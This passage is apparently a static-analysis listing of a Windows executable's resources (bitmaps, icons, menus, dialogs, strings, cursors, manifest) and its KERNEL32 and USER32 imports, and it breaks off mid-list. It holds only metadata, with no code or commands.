RT_BITMAP	0x2d3fbf0	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	Chinese	China	0.9367816091954023
RT_BITMAP	0x2d3fdfc	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	Chinese	China	0.4482758620689655
RT_BITMAP	0x2d40008	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	Chinese	China	0.33524904214559387
RT_BITMAP	0x2d40214	0x20a	Device independent bitmap graphic, 13 x 12 x 24, image size 482, resolution 2834 x 2834 px/m	Chinese	China	0.3371647509578544
RT_BITMAP	0x2d40420	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 2834 x 2834 px/m	Chinese	China	0.6320987654320988
RT_BITMAP	0x2d4074c	0x2256	Device independent bitmap graphic, 324 x 9 x 24, image size 8750, resolution 2834 x 2834 px/m	Chinese	China	0.0608646188850967
RT_BITMAP	0x2d429a4	0x602a	Device independent bitmap graphic, 192 x 32 x 32, image size 24578, resolution 2834 x 2834 px/m	Chinese	China	0.2250385896498497
RT_BITMAP	0x2d489d0	0x2028	Device independent bitmap graphic, 128 x 16 x 32, image size 0	Chinese	China	0.24708454810495628
RT_BITMAP	0x2d4a9f8	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.11570247933884298
RT_BITMAP	0x2d4bdd4	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.10999606454151908
RT_BITMAP	0x2d4d1b0	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.11511216056670602
RT_BITMAP	0x2d4e58c	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	Chinese	China	0.13157894736842105
RT_BITMAP	0x2d4f440	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.11983471074380166
RT_BITMAP	0x2d5081c	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.27371113734750097
RT_BITMAP	0x2d51bf8	0x13da	Device independent bitmap graphic, 35 x 36 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.2699724517906336
RT_BITMAP	0x2d52fd4	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.2426210153482881
RT_BITMAP	0x2d543b0	0xeb2	Device independent bitmap graphic, 31 x 30 x 32, image size 3722, resolution 2834 x 2834 px/m	Chinese	China	0.3413078149920255
RT_BITMAP	0x2d55264	0x13da	Device independent bitmap graphic, 36 x 35 x 32, image size 5042, resolution 2834 x 2834 px/m	Chinese	China	0.23868555686737505
RT_BITMAP	0x2d56640	0x5a66	Device independent bitmap graphic, 77 x 75 x 32, image size 23102, resolution 2834 x 2834 px/m	Chinese	China	0.046365914786967416
RT_BITMAP	0x2d5c0a8	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x2d5c160	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x2d5c2a4	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	Chinese	China	0.5335365853658537
RT_ICON	0x2d5c90c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	Chinese	China	0.646505376344086
RT_ICON	0x2d5cbf4	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	Chinese	China	0.6598360655737705
RT_ICON	0x2d5cddc	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	Chinese	China	0.6385135135135135
RT_ICON	0x2d5cf04	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Chinese	China	0.6260660980810234
RT_ICON	0x2d5ddac	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Chinese	China	0.7793321299638989
RT_ICON	0x2d5e654	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Chinese	China	0.8231566820276498
RT_ICON	0x2d5ed1c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Chinese	China	0.6575144508670521
RT_ICON	0x2d5f284	0x93cb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Chinese	China	0.9988106250825954
RT_ICON	0x2d68650	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Chinese	China	0.5116182572614107
RT_ICON	0x2d6abf8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Chinese	China	0.6109287054409006
RT_ICON	0x2d6bca0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Chinese	China	0.6221311475409836
RT_ICON	0x2d6c628	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Chinese	China	0.7402482269503546
RT_ICON	0x2d6ca90	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.2540322580645161
RT_ICON	0x2d6cd78	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.4560810810810811
RT_ICON	0x2d6cea0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Chinese	China	0.411101083032491
RT_ICON	0x2d6d748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.5144508670520231
RT_ICON	0x2d6dcb0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6df98	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.597972972972973
RT_ICON	0x2d6e0c0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6e3a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.5491329479768786
RT_ICON	0x2d6e910	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6ebf8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.5236486486486487
RT_ICON	0x2d6ed20	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6f008	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.5236486486486487
RT_ICON	0x2d6f130	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.5354046242774566
RT_ICON	0x2d6f698	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6f980	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.4155405405405405
RT_ICON	0x2d6faa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.0846774193548387
RT_ICON	0x2d6fd90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Chinese	China	0.48916184971098264
RT_ICON	0x2d702f8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	Chinese	China	0.0793010752688172
RT_ICON	0x2d705e0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	Chinese	China	0.3783783783783784
RT_ICON	0x2d70708	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	Chinese	China	0.0793010752688172
RT_ICON	0x2d709f0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Chinese	China	0.7088150289017341
RT_ICON	0x2d70f58	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.33198924731182794
RT_ICON	0x2d71240	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.41216216216216217
RT_ICON	0x2d71368	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.42905405405405406
RT_ICON	0x2d71490	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.2661290322580645
RT_ICON	0x2d71778	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	Chinese	China	0.18010752688172044
RT_ICON	0x2d71a60	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	Chinese	China	0.35135135135135137
RT_ICON	0x2d71b88	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Chinese	China	0.06092057761732852
RT_ICON	0x2d72430	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Chinese	China	0.07658959537572255
RT_ICON	0x2d72998	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3072	Chinese	China	0.042901234567901236
RT_ICON	0x2d73640	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768	Chinese	China	0.10550458715596331
RT_ICON	0x2d739a8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Chinese	China	0.6400709219858156
RT_ICON	0x2d73e10	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.5
RT_MENU	0x2d73f38	0x3c	data	Chinese	China	1.0
RT_MENU	0x2d73f74	0x6c	data	Chinese	China	0.7407407407407407
RT_MENU	0x2d73fe0	0x2cc	data	Chinese	China	0.5614525139664804
RT_MENU	0x2d742ac	0x3fe	data	Chinese	China	0.5156555772994129
RT_MENU	0x2d746ac	0x70	data	Chinese	China	0.7410714285714286
RT_MENU	0x2d7471c	0xd0	data	Chinese	China	0.6442307692307693
RT_MENU	0x2d747ec	0x4a	Matlab v4 mat-file (little endian) 6R(, numeric, rows 1597571216, columns 2558087674	Chinese	China	0.8378378378378378
RT_MENU	0x2d74838	0xee	data	Chinese	China	0.46638655462184875
RT_MENU	0x2d74928	0xd8	data	Chinese	China	0.6666666666666666
RT_DIALOG	0x2d74a00	0x134	data	Chinese	China	0.5974025974025974
RT_DIALOG	0x2d74b34	0x102	data	Chinese	China	0.6162790697674418
RT_DIALOG	0x2d74c38	0x18a	data	Chinese	China	0.5761421319796954
RT_DIALOG	0x2d74dc4	0xca	data	Chinese	China	0.698019801980198
RT_DIALOG	0x2d74e90	0x310	data	Chinese	China	0.4961734693877551
RT_DIALOG	0x2d751a0	0x1d8	data	Chinese	China	0.5296610169491526
RT_DIALOG	0x2d75378	0x292	data	Chinese	China	0.5927051671732523
RT_DIALOG	0x2d7560c	0x194	data	Chinese	China	0.6039603960396039
RT_DIALOG	0x2d757a0	0x2ca	data	Chinese	China	0.5028011204481793
RT_DIALOG	0x2d75a6c	0x248	data	Chinese	China	0.535958904109589
RT_DIALOG	0x2d75cb4	0x58	data	Chinese	China	0.8068181818181818
RT_DIALOG	0x2d75d0c	0x1f2	data	Chinese	China	0.5261044176706827
RT_DIALOG	0x2d75f00	0x18e	data	Chinese	China	0.5226130653266332
RT_DIALOG	0x2d76090	0x12a	data	Chinese	China	0.6375838926174496
RT_DIALOG	0x2d761bc	0x9e	data	Chinese	China	0.740506329113924
RT_DIALOG	0x2d7625c	0x3ba	data	Chinese	China	0.35115303983228513
RT_DIALOG	0x2d76618	0x166	data	Chinese	China	0.6815642458100558
RT_DIALOG	0x2d76780	0x146	data	Chinese	China	0.6349693251533742
RT_DIALOG	0x2d768c8	0x34	data	Chinese	China	0.8076923076923077
RT_DIALOG	0x2d768fc	0x236	data	Chinese	China	0.6007067137809188
RT_DIALOG	0x2d76b34	0x2f2	data	Chinese	China	0.5225464190981433
RT_DIALOG	0x2d76e28	0xe2	data	Chinese	China	0.6769911504424779
RT_DIALOG	0x2d76f0c	0x16a	data	Chinese	China	0.4889502762430939
RT_DIALOG	0x2d77078	0x142	data	Chinese	China	0.5248447204968945
RT_DIALOG	0x2d771bc	0x34	data	Chinese	China	0.8653846153846154
RT_STRING	0x2d771f0	0x58	data	Chinese	China	0.7272727272727273
RT_STRING	0x2d77248	0x40	data	Chinese	China	0.6875
RT_STRING	0x2d77288	0xf8	AmigaOS bitmap font "F", 19712 elements, 2nd, 3rd	Chinese	China	0.34274193548387094
RT_STRING	0x2d77380	0x36	data	Chinese	China	0.7777777777777778
RT_STRING	0x2d773b8	0x2c	data	Chinese	China	0.7272727272727273
RT_STRING	0x2d773e4	0x2e	data	Chinese	China	0.6739130434782609
RT_STRING	0x2d77414	0x122	data	Chinese	China	0.8379310344827586
RT_STRING	0x2d77538	0x13e	data	Chinese	China	0.7484276729559748
RT_STRING	0x2d77678	0x48	data	Chinese	China	0.7222222222222222
RT_STRING	0x2d776c0	0x178	data	Chinese	China	0.43617021276595747
RT_STRING	0x2d77838	0xb6	data	Chinese	China	0.5494505494505495
RT_STRING	0x2d778f0	0xca	data	Chinese	China	0.900990099009901
RT_STRING	0x2d779bc	0x32	data	Chinese	China	0.66
RT_STRING	0x2d779f0	0xa6	data	Chinese	China	0.6506024096385542
RT_STRING	0x2d77a98	0x58	Matlab v4 mat-file (little endian) \345]wQ\017h\011\220y\230\013, numeric, rows 0, columns 0	Chinese	China	0.9431818181818182
RT_STRING	0x2d77af0	0xac	data	Chinese	China	0.7441860465116279
RT_STRING	0x2d77b9c	0x50	data	Chinese	China	0.7125
RT_STRING	0x2d77bec	0xb6	Matlab v4 mat-file (little endian) (W\237R\375\200:S\013N\271e>f:y\353_\037\220\277\213\356\225\345]wQ\017h\017, numeric, rows 0, columns 0	Chinese	China	0.5879120879120879
RT_STRING	0x2d77ca4	0xc2	data	Chinese	China	0.8505154639175257
RT_STRING	0x2d77d68	0x84	data	Chinese	China	0.7121212121212122
RT_STRING	0x2d77dec	0x48	Matlab v4 mat-file (little endian) a, numeric, rows 0, columns 0	Chinese	China	0.7083333333333334
RT_STRING	0x2d77e34	0x42	AmigaOS bitmap font "F", 19712 elements, 2nd, 3rd	Chinese	China	0.696969696969697
RT_STRING	0x2d77e78	0x100	data	Chinese	China	0.64453125
RT_STRING	0x2d77f78	0xc0	data	Chinese	China	0.11979166666666667
RT_STRING	0x2d78038	0x120	data	Chinese	China	0.65625
RT_STRING	0x2d78158	0xe0	data	Chinese	China	0.5848214285714286
RT_STRING	0x2d78238	0x64	data	Chinese	China	0.76
RT_STRING	0x2d7829c	0x54	data	Chinese	China	0.5357142857142857
RT_STRING	0x2d782f0	0xa6	data	Chinese	China	0.6506024096385542
RT_STRING	0x2d78398	0x46	data	Chinese	China	0.7428571428571429
RT_STRING	0x2d783e0	0x3c	data	Chinese	China	0.65
RT_STRING	0x2d7841c	0x9e	data	Chinese	China	0.7151898734177216
RT_STRING	0x2d784bc	0x4a	data	Chinese	China	0.7837837837837838
RT_STRING	0x2d78508	0x68	data	Chinese	China	0.8846153846153846
RT_STRING	0x2d78570	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x2d7859c	0x84	data	Chinese	China	0.9166666666666666
RT_STRING	0x2d78620	0xe2	data	Chinese	China	0.588495575221239
RT_STRING	0x2d78704	0x1cc	data	Chinese	China	0.7934782608695652
RT_STRING	0x2d788d0	0x14e	data	Chinese	China	0.5179640718562875
RT_STRING	0x2d78a20	0x10e	data	Chinese	China	0.7037037037037037
RT_STRING	0x2d78b30	0x50	data	Chinese	China	0.7125
RT_STRING	0x2d78b80	0x44	data	Chinese	China	0.6764705882352942
RT_STRING	0x2d78bc4	0x68	data	Chinese	China	0.7019230769230769
RT_STRING	0x2d78c2c	0x1b2	data	Chinese	China	0.6474654377880185
RT_STRING	0x2d78de0	0xf4	data	Chinese	China	0.6065573770491803
RT_STRING	0x2d78ed4	0x24	data	Chinese	China	0.4722222222222222
RT_STRING	0x2d78ef8	0x1a8	data	Chinese	China	0.6674528301886793
RT_ACCELERATOR	0x2d790a0	0x70	data	Chinese	China	0.6785714285714286
RT_ACCELERATOR	0x2d79110	0x18	data	Chinese	China	1.2083333333333333
RT_GROUP_CURSOR	0x2d79128	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d7913c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79150	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79164	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79178	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d7918c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.25
RT_GROUP_CURSOR	0x2d791a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d791b4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d791c8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d791dc	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d791f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79204	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79218	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d7923c	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d79260	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d79284	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d792a8	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d792cc	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_CURSOR	0x2d792f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79304	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79318	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d7932c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79340	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79354	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79368	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d7937c	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d79390	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d793a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d793b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d793cc	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d793e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_CURSOR	0x2d793f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.3
RT_GROUP_ICON	0x2d79408	0xbc	data	Chinese	China	0.6117021276595744
RT_GROUP_ICON	0x2d794c4	0x3e	data	Chinese	China	0.8709677419354839
RT_GROUP_ICON	0x2d79504	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d79528	0x22	data	Chinese	China	1.1470588235294117
RT_GROUP_ICON	0x2d7954c	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d79570	0x30	data	Chinese	China	1.0
RT_GROUP_ICON	0x2d795a0	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d795c4	0x22	data	Chinese	China	1.1470588235294117
RT_GROUP_ICON	0x2d795e8	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d7960c	0x22	data	Chinese	China	1.1470588235294117
RT_GROUP_ICON	0x2d79630	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d79654	0x22	data	Chinese	China	1.0588235294117647
RT_GROUP_ICON	0x2d79678	0x5a	data	Chinese	China	0.7666666666666667
RT_GROUP_ICON	0x2d796d4	0x22	data	Chinese	China	1.1176470588235294
RT_VERSION	0x2d796f8	0x2ec	data	Chinese	China	0.4772727272727273
RT_MANIFEST	0x2d799e4	0x329	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (749), with CRLF line terminators	English	United States	0.522867737948084
None	0x2d79d10	0x1c	data	Chinese	China	1.25
None	0x2d79d2c	0x1c	data	Chinese	China	1.25
None	0x2d79d48	0xa	data	Chinese	China	1.8
None	0x2d79d54	0xc	data	Chinese	China	1.6666666666666667
None	0x2d79d60	0x1a	data	Chinese	China	1.3461538461538463
None	0x2d79d7c	0x10	data	Chinese	China	1.5
None	0x2d79d8c	0x1c	data	Chinese	China	1.2857142857142858
None	0x2d79da8	0x18	data	Chinese	China	1.2916666666666667

Imports

DLL	Import
KERNEL32.dll	SwitchToThread, RtlUnwindEx, RtlPcToFileHeader, InterlockedPushEntrySList, InterlockedFlushSList, ExitProcess, HeapValidate, GetSystemInfo, VirtualAlloc, QueryPerformanceFrequency, GetCommandLineA, GetCommandLineW, CreateThread, ExitThread, FreeLibraryAndExitThread, HeapQueryInformation, SetStdHandle, GetFileType, GetStdHandle, WriteConsoleW, SetConsoleCtrlHandler, GetDateFormatW, GetTimeFormatW, LCMapStringW, IsValidLocale, EnumSystemLocalesW, GetTimeZoneInformation, GetConsoleCP, GetConsoleMode, ReadConsoleW, SetFilePointerEx, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, GetStringTypeW, VirtualQuery, GetStartupInfoW, IsDebuggerPresent, InitializeSListHead, GetSystemTimeAsFileTime, OutputDebugStringW, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, WaitForSingleObjectEx, LocalUnlock, LocalLock, GetWindowsDirectoryW, CreateSemaphoreW, WaitForMultipleObjects, CreateMutexW, ReleaseMutex, ReleaseSemaphore, FindResourceExW, SystemTimeToTzSpecificLocalTime, SetFileAttributesW, LocalFileTimeToFileTime, GetFileSizeEx, GetFileAttributesExW, FileTimeToLocalFileTime, SearchPathW, GetStringTypeExW, MoveFileW, lstrcmpiW, GetCurrentProcess, GetHandleInformation, DuplicateHandle, WriteFile, UnlockFile, SetEndOfFile, ReadFile, LockFile, GetVolumeInformationW, GetShortPathNameW, FlushFileBuffers, FindFirstFileW, FindClose, DeleteFileW, GetTempPathW, SetFilePointer, Sleep, PulseEvent, ResetEvent, LocalReAlloc, LocalAlloc, GlobalHandle, QueryPerformanceCounter, TlsSetValue, TlsGetValue, TlsAlloc, SetErrorMode, InitializeCriticalSection, GlobalFlags, VirtualProtect, GetProfileIntW, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetLocaleInfoW, GetThreadLocale, FileTimeToSystemTime, GetUserDefaultLCID, SystemTimeToFileTime, ReplaceFileW, SetFileTime, GetTempFileNameW, GetFullPathNameW, GetFileTime, GetDiskFreeSpaceW, GetTickCount, WritePrivateProfileStringW, GetPrivateProfileStringW, GetPrivateProfileIntW, CreateEventW, WaitForSingleObject, SetEvent, CompareStringA, GetVersionExW, GetCurrentThread, lstrcmpA, CopyFileW, FormatMessageW, LocalFree, GetCurrentDirectoryW, GlobalFree, GlobalSize, GlobalReAlloc, GlobalAlloc, CloseHandle, GetFileSize, GetFileAttributesW, CreateFileW, VerifyVersionInfoW, lstrcpyW, VerSetConditionMask, MulDiv, GetAtomNameW, WideCharToMultiByte, GlobalUnlock, GlobalLock, GetCurrentProcessId, ResumeThread, SuspendThread, GetThreadPriority, SetThreadPriority, CompareStringW, QueryActCtxW, FindActCtxSectionStringW, DeactivateActCtx, ActivateActCtx, CreateActCtxW, GlobalGetAtomNameW, GlobalFindAtomW, GlobalAddAtomW, lstrcmpW, GlobalDeleteAtom, LoadLibraryExW, GetModuleHandleExW, GetModuleHandleW, GetModuleFileNameW, FreeResource, FreeLibrary, GetSystemDirectoryW, GetCurrentThreadId, GetLastError, EncodePointer, OutputDebugStringA, MultiByteToWideChar, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InitializeCriticalSectionEx, LeaveCriticalSection, EnterCriticalSection, GetProcessHeap, HeapSize, HeapFree, HeapReAlloc, HeapAlloc, HeapDestroy, RaiseException, DecodePointer, LoadLibraryW, GetProcAddress, FindResourceW, SizeofResource, LockResource, LoadResource, SetLastError, TlsFree, RtlUnwind
USER32.dll	CreatePopupMenu, CreateMenu, GetMenuState, GetMenuStringW, LoadMenuIndirectW, DrawFrameControl, DrawEdge, UnionRect, SetRect, GetCursorPos, GetAsyncKeyState, TranslateMDISysAccel, DefMDIChildProcW, DefFrameProcW, GetMenuItemID, ReuseDDElParam, UnpackDDElParam, GetMenuBarInfo, DestroyIcon, GetWindowThreadProcessId, IntersectRect, SetCursor, GetMenuItemCount, GetSubMenu, DestroyMenu, LoadMenuW, TranslateAcceleratorW, LoadAcceleratorsW, ReleaseCapture, IsDialogMessageW, SetWindowTextW, ScrollWindowEx, IsWindowEnabled, SendDlgItemMessageW, IsDlgButtonChecked, CheckRadioButton, CheckDlgButton, GetDlgItemTextW, SetDlgItemTextW, GetDlgItemInt, SetDlgItemInt, MoveWindow, ShowWindow, NotifyWinEvent, ArrangeIconicWindows, DlgDirSelectComboBoxExW, DlgDirListComboBoxW, DlgDirSelectExW, DlgDirListW, LoadCursorW, GetLastActivePopup, FindWindowExW, FindWindowW, SetParent, GetDesktopWindow, ChildWindowFromPointEx, ChildWindowFromPoint, WindowFromPoint, ClientToScreen, GetCaretPos, SetCaretPos, ShowCaret, HideCaret, CreateCaret, GetWindowContextHelpId, SetWindowContextHelpId, EnableScrollBar, ShowScrollBar, LockWindowUpdate, RedrawWindow, ValidateRgn, InvalidateRgn, ValidateRect, InvalidateRect, GetWindowRgn, SetWindowRgn, GetUpdateRgn, GetUpdateRect, ReleaseDC, GetWindowDC, GetDCEx, GetDC, SetForegroundWindow, GetForegroundWindow, UpdateWindow, DragDetect, GetSystemMenu, DrawMenuBar, HiliteMenuItem, KillTimer, CheckMenuItem, SetCapture, GetActiveWindow, GetOpenClipboardWindow, ChangeClipboardChain, GetClipboardViewer, SetClipboardViewer, GetClipboardOwner, OpenClipboard, GetNextDlgTabItem, GetNextDlgGroupItem, IsZoomed, BringWindowToTop, IsIconic, IsWindowVisible, CloseWindow, OpenIcon, ShowOwnedPopups, FlashWindow, PostThreadMessageW, SendNotifyMessageW, DrawAnimatedRects, DrawCaption, GetMonitorInfoW, MonitorFromWindow, WinHelpW, GetScrollInfo, SetScrollInfo, LoadIconW, CallNextHookEx, UnhookWindowsHookEx, SetWindowsHookExW, GetWindow, GetTopWindow, GetClassNameW, GetClassLongW, SetWindowLongPtrW, GetWindowLongPtrW, SetWindowLongW, GetWindowLongW, PtInRect, EqualRect, MapWindowPoints, ScreenToClient, MessageBoxW, AdjustWindowRectEx, GetWindowRect, GetClientRect, GetWindowTextLengthW, GetWindowTextW, RemovePropW, SetMenuItemInfoW, GetMenuDefaultItem, SetMenuDefaultItem, DrawIcon, GetDialogBaseUnits, CharNextW, MsgWaitForMultipleObjectsEx, IsCharLowerW, PeekMessageW, GetPropW, SetPropW, GetScrollRange, SetScrollRange, GetScrollPos, SetScrollPos, ScrollWindow, EndPaint, BeginPaint, SetActiveWindow, TrackPopupMenuEx, TrackPopupMenu, SetMenu, GetMenu, GetCapture, DrawTextW, DrawTextExW, GrayStringW, DrawStateW, GetTabbedTextExtentW, WindowFromDC, ExcludeUpdateRgn, ScrollDC, SetMenuContextHelpId, GetMenuContextHelpId, GetSysColorBrush, DrawFocusRect, FillRect, FrameRect, EnableMenuItem, GetKeyState, SetFocus, InsertMenuW, AppendMenuW, ModifyMenuW, RemoveMenu, DeleteMenu, InsertMenuItemW, SetTimer, GetMenuItemInfoW, PostQuitMessage, IsChild, GetFocus, EnableWindow, GetSysColor, SetRectEmpty, InflateRect, GetSystemMetrics, LoadImageW, EnumThreadWindows, UnregisterClassW, RegisterWindowMessageW, IsWindow, GetComboBoxInfo, DestroyWindow, CopyRect, OffsetRect, IsRectEmpty, GetClassLongPtrW, GetParent, SendMessageW, PostMessageW, TabbedTextOutW, MapDialogRect, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, LoadBitmapW, DispatchMessageW, GetMessagePos, GetMessageTime, DefWindowProcW, CallWindowProcW, RegisterClassW, GetClassInfoW, GetClassInfoExW, CreateWindowExW, IsMenu, SetWindowPos, GetWindowPlacement, SetWindowPlacement, BeginDeferWindowPos, DeferWindowPos, EndDeferWindowPos, GetDlgItem, GetDlgCtrlID, MapVirtualKeyExW, EnumChildWindows, GetDoubleClickTime, 